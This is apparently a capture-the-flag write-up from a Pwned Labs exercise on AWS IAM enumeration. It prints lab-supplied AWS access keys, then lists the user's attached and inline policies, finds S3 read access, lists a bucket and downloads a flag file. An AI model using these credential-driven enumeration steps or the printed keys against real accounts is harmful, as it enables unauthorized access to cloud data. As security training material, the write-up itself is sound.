Pwned Labs: Intro to AWS IAM Enumeration
Enumeration
Initial Access – AWS Credentials
Access key ID: AKIA3SFMDAPOWC2NR5LO
Secret access key : +hCgg8uYwGeedSpfARQyGFkr9fdVhnrObshtrHq3Verify Access
└──╼ $aws sts get-caller-identity --profile iam_user
{
"UserId": "AIDA3SFMDAPOWFB7BSGME",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/dev01"
}IAM Policy Enumeration
List Attached Managed Policies
└──╼ $aws iam list-attached-user-policies --user-name dev01 --profile iam_user
{
"AttachedPolicies": [
{
"PolicyName": "AmazonGuardDutyReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess"
},
{
"PolicyName": "dev01",
"PolicyArn": "arn:aws:iam::794929857501:policy/dev01"
}
]
}- Attached Policies found:
AmazonGuardDutyReadOnlyAccessdev01 (custom managed policy)
List Inline Policies
└──╼ $aws iam list-user-policies --user-name dev01 --profile iam_user
{
"PolicyNames": [
"S3_Access"
]
}- Inline Policy Found:
S3_Access
View Inline Policy: S3_Access
└──╼ $aws iam get-user-policy --policy-name S3_Access --user-name dev01 --profile iam_user
{
"UserName": "dev01",
"PolicyName": "S3_Access",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::hl-dev-artifacts",
"arn:aws:s3:::hl-dev-artifacts/*"
]
}
]
}
}- Dev01 has access to s3 bucket called hl-dev-artifacts
S3 Bucket Enumeration
└──╼ $aws s3 ls s3://hl-dev-artifacts --profile iam_user
2023-10-01 16:39:53 1235 android-kotlin-extensions-tooling-232.9921.47.pom
2023-10-01 16:39:53 214036 android-project-system-gradle-models-232.9921.47-sources.jar
2023-10-01 16:38:05 32 flag.txt- Found this user has access several documents and flag is found lets try to download the flag
Retrieve the Flag
└──╼ $aws s3 cp s3://hl-dev-artifacts/flag.txt . --profile iam_user
download: s3://hl-dev-artifacts/flag.txt to ./flag.txt
└──╼ $cat flag.txt
Redactedc904551935c7514- Flag: Redacted8545df0c904551935c7514`
We’re not done yet—time to dig into the managed policies and see what else we can uncover
